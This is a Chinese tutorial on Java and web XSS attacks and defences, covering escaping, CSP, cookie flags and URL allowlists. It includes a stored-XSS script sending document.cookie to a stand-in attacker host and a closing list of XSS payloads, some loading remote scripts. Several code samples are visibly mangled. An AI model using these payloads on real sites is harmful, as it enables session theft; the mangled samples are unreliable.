java 最新Xss攻擊與防護(hù)(全方位360°詳解)
前沿
XSS防范屬于前端還是后端的責(zé)任 ?
XSS 防范是后端 RD(研發(fā)人員)的責(zé)任,后端 RD 應(yīng)該在所有用戶提交數(shù)據(jù)的接口,對(duì)敏感字符進(jìn)行轉(zhuǎn)義,才能進(jìn)行下一步操作。
所有要插入到頁(yè)面上的數(shù)據(jù),都要通過(guò)一個(gè)敏感字符過(guò)濾函數(shù)的轉(zhuǎn)義,過(guò)濾掉通用的敏感字符后,就可以插入到頁(yè)面中。
公司的搜索頁(yè)面如果你是下面的寫(xiě)法。那么他可能存在Xss注入
<input type="text" value="<%= getParameter("keyword") %>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:<%= getParameter("keyword") %> </div>
1. 什么是xss攻擊?
Xss 即(Cross Site Scripting)中文名稱為:跨站腳本攻擊。XSS的重點(diǎn)不在于跨站點(diǎn),而在于腳本的執(zhí)行。
1.1 原理
惡意代碼未經(jīng)過(guò)濾,與網(wǎng)站正常的代碼混在一起;瀏覽器無(wú)法分辨哪些腳本是可信的,導(dǎo)致惡意腳本被執(zhí)行。而由于直接在用戶的終端執(zhí)行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網(wǎng)站發(fā)起攻擊者定義的請(qǐng)求。
1.2 分類(lèi)
Xss攻擊最主要有如下分類(lèi):反射型Xss(非持久型)、存儲(chǔ)型Xss(持久型)和DOM Xss。
1.2.1 反射型Xss(了解)
原理
反射性xss一般指攻擊者通過(guò)特定的方式來(lái)誘惑受害者去訪問(wèn)一個(gè)包含惡意代碼的URL。當(dāng)受害者點(diǎn)擊惡意鏈接url的時(shí)候,惡意代碼會(huì)直接在受害者的主機(jī)上的瀏覽器執(zhí)行。
步驟
- 攻擊者在url后面的參數(shù)中加入惡意攻擊代碼。
- 當(dāng)用戶打開(kāi)帶有惡意代碼的URL的時(shí)候,網(wǎng)站服務(wù)端將惡意代碼從URL中取出,拼接在html中并且返回給瀏覽器端。
- 用戶瀏覽器接收到響應(yīng)后執(zhí)行解析,其中的惡意代碼也會(huì)被執(zhí)行到。
- 攻擊者通過(guò)惡意代碼來(lái)竊取到用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站。攻擊者會(huì)獲取到比如cookie等信息,然后使用該信息來(lái)冒充合法用戶的行為,調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊等操作。
演示
<title>csrf攻擊</title> <a href="http://localhost:3001/xss" rel="external nofollow" >xxs 攻擊</a> <a href="http://localhost:3001/testcookie" rel="external nofollow" >testcookie 攻擊</a>
//第一個(gè)鏈接 可以彈出指定的彈窗 router.get('/xss', (ctx, next) => { ctx.body = '<script>alert("反射型 XSS 攻擊")</script>'; }); //獲取當(dāng)前的所有cookie router.get('/testcookie', (ctx, next) => { console.log(ctx.cookies.get('connect.sid')); ctx.body = '<script>alert("'+ctx.cookies.get('connect.sid')+'")</script>'; next(); });
1.2.2 存儲(chǔ)型Xss(了解)
原理
主要是將惡意代碼上傳或存儲(chǔ)到服務(wù)器中,下次只要受害者瀏覽包含此惡意代碼的頁(yè)面就會(huì)執(zhí)行惡意代碼。
場(chǎng)景
比如我現(xiàn)在做了一個(gè)博客網(wǎng)站,然后攻擊者在上面發(fā)布了一篇文章,內(nèi)容是如下:<script>window.open("www.gongji.com?param="+document.cookie)</script> 如果我沒(méi)有對(duì)該文章進(jìn)行任何處理的話,直接存入到數(shù)據(jù)庫(kù)中,那么下一次當(dāng)其他用戶訪問(wèn)該文章的時(shí)候,服務(wù)器會(huì)從數(shù)據(jù)庫(kù)中讀取后然后響應(yīng)給客戶端,那么瀏覽器就會(huì)執(zhí)行這段腳本,然后攻擊者就會(huì)獲取到用戶的cookie,然后會(huì)把cookie發(fā)送到攻擊者的服務(wù)器上了。
步驟
- 攻擊者將惡意代碼提交到目標(biāo)網(wǎng)站數(shù)據(jù)庫(kù)中。
- 用戶打開(kāi)目標(biāo)網(wǎng)站時(shí),網(wǎng)站服務(wù)器將惡意代碼從數(shù)據(jù)庫(kù)中取出,然后拼接到html中返回給瀏覽器中。
- 用戶瀏覽器接收到響應(yīng)后解析執(zhí)行,那么其中的惡意代碼也會(huì)被執(zhí)行。
- 那么惡意代碼執(zhí)行后,就能獲取到用戶數(shù)據(jù),比如上面的cookie等信息,那么把該cookie發(fā)送到攻擊者網(wǎng)站中,那么攻擊者拿到該
cookie然后會(huì)冒充該用戶的行為,調(diào)用目標(biāo)網(wǎng)站接口等違法操作。
1.2.3 DOM-based型Xss(了解)
原理
我們客戶端的js可以對(duì)頁(yè)面dom節(jié)點(diǎn)進(jìn)行動(dòng)態(tài)的操作,比如插入、修改頁(yè)面的內(nèi)容。比如說(shuō)客戶端從URL中提取數(shù)據(jù)并且在本地執(zhí)行、如果用戶在客戶端輸入的數(shù)據(jù)包含了惡意的js腳本的話,但是這些腳本又沒(méi)有做任何過(guò)濾處理的話,那么我們的應(yīng)用程序就有可能受到DOM-based Xss的攻擊。
步驟
- 攻擊者構(gòu)造出特殊的URL、在其中可能包含惡意代碼。
- 用戶打開(kāi)帶有惡意代碼的URL。
- 用戶瀏覽器收到響應(yīng)后解析執(zhí)行。前端使用js取出url中的惡意代碼并執(zhí)行。
- 執(zhí)行時(shí),惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站中,那么攻擊者網(wǎng)站拿到這些數(shù)據(jù)去冒充用戶的行為操作。調(diào)用目標(biāo)網(wǎng)站接口
執(zhí)行攻擊者一些操作。
攻擊代碼
- 使用document.write直接輸出導(dǎo)致瀏覽器解析惡意代碼
- 使用innerHTML直接輸出導(dǎo)致瀏覽器解析惡意代碼
- 使用location/location.href/location.replace/iframe.src 造成的XSS
<script type="text/javascript"> var s = location.search; // 返回URL中的查詢部分(?之后的內(nèi)容) // 為了方便演示,我們假如url是 如下這樣的 // http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest'); // 然后我們的是 s 的值就為如下: s = "?url=javascript:alert('xsstest')"; s = s.substring(1, s.length); // 返回整個(gè)查詢內(nèi)容 var url = ""; // 定義變量url if (s.indexOf("url=") > -1) { // 判斷URL是否為空 var pos = s.indexOf("url=") + 4; // 過(guò)濾掉"url="字符 url = s.substring(pos, s.length); // 得到地址欄里的url參數(shù) } else { url = "url參數(shù)為空"; } document.write('url: <a href="' + url + '" rel="external nofollow" >"' + url + '"</a>'); </script>
2. Xss有什么危害?
2.1 劫持訪問(wèn)
劫持訪問(wèn)就是在惡意腳本中插入諸如的代碼,那么頁(yè)面就會(huì)跳轉(zhuǎn)到百度首頁(yè).像http://qq.com這樣的域名下出現(xiàn)...,那么在發(fā)送釣魚(yú)鏈接時(shí)就可以通過(guò)http://qq.com等域名進(jìn)行跳轉(zhuǎn),一般人一看到http://qq.com之類(lèi)的域名警惕性會(huì)下降,也就更容易上當(dāng)了。
2.2 盜用cookie實(shí)現(xiàn)無(wú)密碼登錄
由于盜取的cookie需要傳回給攻擊者,因此往往需要一個(gè)服務(wù)器來(lái)接收盜取的cookie。
2.3 配合csrf攻擊完成惡意請(qǐng)求
Csrf攻擊就是在未經(jīng)你許可的情況下用你的名義發(fā)送惡意請(qǐng)求(比如修改密碼,銀行轉(zhuǎn)賬等)
2.4 其他危害
DOS(拒絕服務(wù))客戶端瀏覽器。
掛馬
劫持用戶Web行為,甚至進(jìn)一步滲透內(nèi)網(wǎng)。
刪除目標(biāo)文章、惡意篡改數(shù)據(jù)、嫁禍。
蠕蟲(chóng)式掛馬攻擊、刷廣告、刷瀏量、破壞網(wǎng)上數(shù)據(jù)
蠕蟲(chóng)式的DDoS攻擊。
3. 防范手段
3.1 兩大要素
XSS 攻擊有兩大要素:
- 攻擊者提交惡意代碼(輸入過(guò)濾)。
- 瀏覽器執(zhí)行惡意代碼。
xss攻擊要能達(dá)成往往需要較長(zhǎng)的字符串,因此對(duì)于一些可以預(yù)期的輸入可以通過(guò)限制長(zhǎng)度強(qiáng)制截?cái)鄟?lái)進(jìn)行防御。
3.2 預(yù)防方案
3.2.1 輸入過(guò)濾
- 對(duì)輸入的內(nèi)容諸如<script>、<img>等標(biāo)簽進(jìn)行過(guò)濾
- 其次是編碼。像一些常見(jiàn)的符號(hào),如<>在輸入的時(shí)候要對(duì)其進(jìn)行轉(zhuǎn)換編碼,這樣做瀏覽器是不會(huì)對(duì)該標(biāo)簽進(jìn)行解釋執(zhí)行的,同時(shí)也不影響顯示效果。
3.2.2 預(yù)防存儲(chǔ)型和反射型 Xss 攻擊
預(yù)防這兩種漏洞,有兩種常見(jiàn)做法:
- 改成純前端渲染,把代碼和數(shù)據(jù)分隔開(kāi)。
- 對(duì) HTML 做充分轉(zhuǎn)義。
3.2.2.1 純前端渲染
純前端渲染的過(guò)程:
- 瀏覽器先加載一個(gè)靜態(tài) HTML,此 HTML 中不包含任何跟業(yè)務(wù)相關(guān)的數(shù)據(jù)。
- 然后瀏覽器執(zhí)行 HTML 中的 JavaScript。
- JavaScript 通過(guò) Ajax 加載業(yè)務(wù)數(shù)據(jù),調(diào)用 DOM API 更新到頁(yè)面上。
3.2.2.2 轉(zhuǎn)義 HTML
如果拼接 HTML 是必要的,就需要采用合適的轉(zhuǎn)義庫(kù),對(duì) HTML 模板各處插入點(diǎn)進(jìn)行充分的轉(zhuǎn)義。
對(duì)于 HTML 轉(zhuǎn)義通常只有一個(gè)規(guī)則,就是把 & < > " ' / 這幾個(gè)字符轉(zhuǎn)義掉,確實(shí)能起到一定的 XSS 防護(hù)作用,但并不完善:
所以要完善 Xss 防護(hù)措施,我們要使用更完善更細(xì)致的轉(zhuǎn)義策略。
例如 Java 工程里,常用的轉(zhuǎn)義庫(kù)為 org.owasp.encoder
3.2.3 輸入內(nèi)容長(zhǎng)度控制
對(duì)于不受信任的輸入,都應(yīng)該限定一個(gè)合理的長(zhǎng)度。雖然無(wú)法完全防止 Xss 發(fā)生,但可以增加 Xss 攻擊的難度。
對(duì)于明確的輸入類(lèi)型,例如數(shù)字、URL、電話號(hào)碼、郵件地址等等內(nèi)容,進(jìn)行輸入過(guò)濾還是必要的。
3.2.4 Cookie的安全設(shè)置
HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入后也無(wú)法竊取此 Cookie。
- http-only: 只允許http或https請(qǐng)求讀取cookie、JS代碼是無(wú)法讀取cookie的(document.cookie會(huì)顯示http-only的cookie項(xiàng)被自動(dòng)過(guò)濾掉)。發(fā)送請(qǐng)求時(shí)自動(dòng)發(fā)送cookie.
- secure-only: 只允許https請(qǐng)求讀取,發(fā)送請(qǐng)求時(shí)自動(dòng)發(fā)送cookie。
- host-only: 只允許主機(jī)域名與domain設(shè)置完成一致的網(wǎng)站才能訪問(wèn)該cookie。
3.2.5 安全驗(yàn)證
驗(yàn)證碼:防止腳本冒充用戶提交危險(xiǎn)操作。
3.2.6 開(kāi)啟CSP網(wǎng)頁(yè)安全政策
Content-Security-Policy 中文的意思是 網(wǎng)頁(yè)安全政策,
CSP是網(wǎng)頁(yè)安全政策(Content Security Policy)的縮寫(xiě)。主要用來(lái)防止Xss攻擊。是一種由開(kāi)發(fā)者定義的安全性政策申明,通過(guò)CSP所約束的責(zé)任指定可信的內(nèi)容來(lái)源,通過(guò) Content-Security-Policy 網(wǎng)頁(yè)的開(kāi)發(fā)者可以控制整個(gè)頁(yè)面中 外部資源 的加載和執(zhí)行。
比如可以控制哪些 域名下的靜態(tài)資源可以被頁(yè)面加載,哪些不能被加載。這樣就可以很大程度的防范了 來(lái)自 跨站(域名不同) 的腳本攻擊
我們只需要在meta屬性中設(shè)置下即可:如下代碼:
<meta http-equiv="Content-Security-Policy" content=" default-src http: https: *.xxx.com 'self' 'unsafe-inline' ; style-src 'self' 'unsafe-inline' *.yyy.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' ; ">
- default-src 給下面所有的規(guī)則設(shè)定一個(gè)默認(rèn)值
- script-src 外部腳本
- style-src 樣式表
- img-src 圖像
- media-src 媒體文件(音頻和視頻)
- font-src 字體文件
- object-src 插件(比如 Flash)
- child-src 框架
- 3.2.7 避免內(nèi)聯(lián)事件
避免內(nèi)聯(lián)事件 盡量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 這種拼接內(nèi)聯(lián)事件的寫(xiě)法。在 JavaScript 中通過(guò) .addEventlistener() 事件綁定會(huì)更安全。
4. 總結(jié)
整體的 XSS 防范是非常復(fù)雜和繁瑣的,我們不僅需要在全部需要轉(zhuǎn)義的位置,對(duì)數(shù)據(jù)進(jìn)行對(duì)應(yīng)的轉(zhuǎn)義。而且要防止多余和錯(cuò)誤的轉(zhuǎn)義,避免正常的用戶輸入出現(xiàn)亂碼。
雖然很難通過(guò)技術(shù)手段完全避免 XSS,但我們可以總結(jié)以下原則減少漏洞的產(chǎn)生:
- 利用模板引擎 開(kāi)啟模板引擎自帶的 HTML 轉(zhuǎn)義功能。例如: 在 ejs 中,盡量使用 <%= data %> 而不是 <%- data %>; 在 doT.js 中,盡量使用 {{! data } 而不是 {{= data }; 在 FreeMarker 中,確保引擎版本高于 2.3.24,并且選擇正確的 freemarker.core.OutputFormat。
- 避免內(nèi)聯(lián)事件 盡量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 這種拼接內(nèi)聯(lián)事件的寫(xiě)法。在 JavaScript 中通過(guò) .addEventlistener() 事件綁定會(huì)更安全。
- 避免拼接 HTML 前端采用拼接 HTML 的方法比較危險(xiǎn),如果框架允許,使用 createElement、setAttribute 之類(lèi)的方法實(shí)現(xiàn)?;蛘卟捎帽容^成熟的渲染框架,如 Vue/React 等。
- 時(shí)刻保持警惕 在插入位置為 DOM 屬性、鏈接等位置時(shí),要打起精神,嚴(yán)加防范。
- 增加攻擊難度,降低攻擊后果 通過(guò) CSP、輸入長(zhǎng)度配置、接口安全措施等方法,增加攻擊的難度,降低攻擊的后果。
- 主動(dòng)檢測(cè)和發(fā)現(xiàn) 可使用 XSS 攻擊字符串和自動(dòng)掃描工具尋找潛在的 XSS 漏洞。
5. 真實(shí)場(chǎng)景(搜索場(chǎng)景)
某天,公司需要一個(gè)搜索頁(yè)面,根據(jù) URL 參數(shù)決定關(guān)鍵詞的內(nèi)容
1. 原始版本
<input type="text" value="<%= getParameter("keyword") %>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:<%= getParameter("keyword") %> </div>
當(dāng)執(zhí)行 http://xxx/search?keyword="><script>alert('XSS');</script>,服務(wù)端會(huì)解析出請(qǐng)求參數(shù) keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器,頁(yè)面就出現(xiàn)如下內(nèi)容,alert 會(huì)彈出兩次。
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:"><script>alert('XSS');</script> </div>
2. Xss的轉(zhuǎn)義攻擊
<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:<%= escapeHTML(getParameter("keyword")) %> </div>
escapeHTML() 按照如下規(guī)則進(jìn)行轉(zhuǎn)義:|字符|轉(zhuǎn)義后的字符| |-|-| |&|&| |<|<| |>|>| |"|"| |'|'| |/|/|
經(jīng)過(guò)了轉(zhuǎn)義函數(shù)的處理后,最終瀏覽器接收到的響應(yīng)為:
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關(guān)鍵詞是:"><script>alert('XSS');</script> </div>
小結(jié)論
- 通常頁(yè)面中包含的用戶輸入內(nèi)容都在固定的容器或者屬性內(nèi),以文本的形式展示。
- 攻擊者利用這些頁(yè)面的用戶輸入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代碼片段。
- 攻擊者通過(guò)在目標(biāo)網(wǎng)站上注入腳本,使之在用戶的瀏覽器上運(yùn)行,從而引發(fā)潛在風(fēng)險(xiǎn)。
- 通過(guò) HTML 轉(zhuǎn)義,可以防止 XSS 攻擊。。
3. Xss過(guò)濾攻擊
當(dāng)請(qǐng)求為: http://xxx/?redirect_to=javascript:alert('XSS') 時(shí)
<a href="<%= escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to")) %>">跳轉(zhuǎn)...</a>
當(dāng)攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS'),服務(wù)端響應(yīng)就成了:
<a href="javascript:alert('XSS')" rel="external nofollow" >跳轉(zhuǎn)...</a>
雖然代碼不會(huì)立即執(zhí)行,但一旦用戶點(diǎn)擊 a 標(biāo)簽時(shí),瀏覽器會(huì)就會(huì)彈出“XSS”。
解決方案 過(guò)濾
// 禁止 URL 以 "javascript:" 開(kāi)頭 xss = getParameter("redirect_to").startsWith('javascript:'); if (!xss) { <a href="<%= escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to"))%>"> 跳轉(zhuǎn)... </a> } else { <a href="/404" rel="external nofollow" rel="external nofollow" > 跳轉(zhuǎn)... </a> }
4. Xss的大小寫(xiě)攻擊
當(dāng)請(qǐng)求為:http://xxx/?redirect_to=%20javascript:alert('XSS') 時(shí)
%20javascript:alert('XSS') 經(jīng)過(guò) URL 解析后變成 javascript:alert('XSS'),這個(gè)字符串以空格開(kāi)頭。這樣攻擊者可以繞過(guò)后端的關(guān)鍵詞規(guī)則,又成功的完成了注入。
解決方案 白名單
// 根據(jù)項(xiàng)目情況進(jìn)行過(guò)濾,禁止掉 "javascript:" 鏈接、非法 scheme 等 allowSchemes = ["http", "https"]; valid = isValid(getParameter("redirect_to"), allowSchemes); if (valid) { <a href="<%= escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to"))%>"> 跳轉(zhuǎn)... </a> } else { <a href="/404" rel="external nofollow" rel="external nofollow" > 跳轉(zhuǎn)... </a> }
大結(jié)論
- 在 HTML 中內(nèi)嵌的文本中,惡意內(nèi)容以 script 標(biāo)簽形成注入。
- 在內(nèi)聯(lián)的 JavaScript 中,拼接的數(shù)據(jù)突破了原本的限制(字符串,變量,方法名等)。
- 在標(biāo)簽屬性中,惡意內(nèi)容包含引號(hào),從而突破屬性值的限制,注入其他屬性或者標(biāo)簽。
- 在標(biāo)簽的 href、src 等屬性中,包含 javascript: 等可執(zhí)行代碼。
- 在 onload、onerror、onclick 等事件中,注入不受控制代碼。
- 在 style 屬性和標(biāo)簽中,包含類(lèi)似 background-image:url("javascript:..."); 的代碼(新版本瀏覽器已經(jīng)可以防范)。
- 在 style 屬性和標(biāo)簽中,包含類(lèi)似 expression(...) 的 CSS 表達(dá)式代碼(新版本瀏覽器已經(jīng)可以防范)。
總之,如果開(kāi)發(fā)者沒(méi)有將用戶輸入的文本進(jìn)行合適的過(guò)濾,就貿(mào)然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構(gòu)造出惡意的代碼指令,進(jìn)而利用惡意代碼危害數(shù)據(jù)安全。
6. 附常見(jiàn)的XSS攻擊方法
JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
IMG標(biāo)簽XSS
<IMG SRC=http://3w.org/XSS/xss.js/>
IMG標(biāo)簽無(wú)分號(hào)無(wú)引號(hào)
<IMG SRC=javascript:alert('XSS')>
HTML編碼(必須有分號(hào))
<IMG SRC=javascript:alert("XSS")>
換碼過(guò)濾的JavaScript
\";alert('XSS');//
結(jié)束Title標(biāo)簽
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
Iframe
<IFRAME class="lazy" data-src="javascript:alert('XSS');"></IFRAME>
DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
節(jié)省[http:]
<A rel="external nofollow" >XSS</A>
到此這篇關(guān)于java 最新Xss攻擊與防護(hù)(全方位360°詳解)的文章就介紹到這了,更多相關(guān)java Xss攻擊防護(hù)內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Spring學(xué)習(xí)之動(dòng)態(tài)代理(JDK動(dòng)態(tài)代理和CGLIB動(dòng)態(tài)代理)
本篇文章主要介紹了Spring學(xué)習(xí)之動(dòng)態(tài)代理(JDK動(dòng)態(tài)代理和CGLIB動(dòng)態(tài)代理),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-07-07feign GET請(qǐng)求不支持對(duì)象傳參的坑及解決
這篇文章主要介紹了feign GET請(qǐng)求不支持對(duì)象傳參的坑及解決,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2022-03-03Mapstruct對(duì)象插入數(shù)據(jù)庫(kù)某個(gè)字段總是為空的bug詳解
這篇文章主要為大家介紹了在一次需求開(kāi)發(fā)Mapstruct中對(duì)象插入數(shù)據(jù)庫(kù)某個(gè)字段總是為空的bug問(wèn)題詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-07-07SpringBoot項(xiàng)目的logback日志配置(包括打印mybatis的sql語(yǔ)句)
這篇文章主要介紹了SpringBoot項(xiàng)目的logback日志配置(包括打印mybatis的sql語(yǔ)句),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-09-09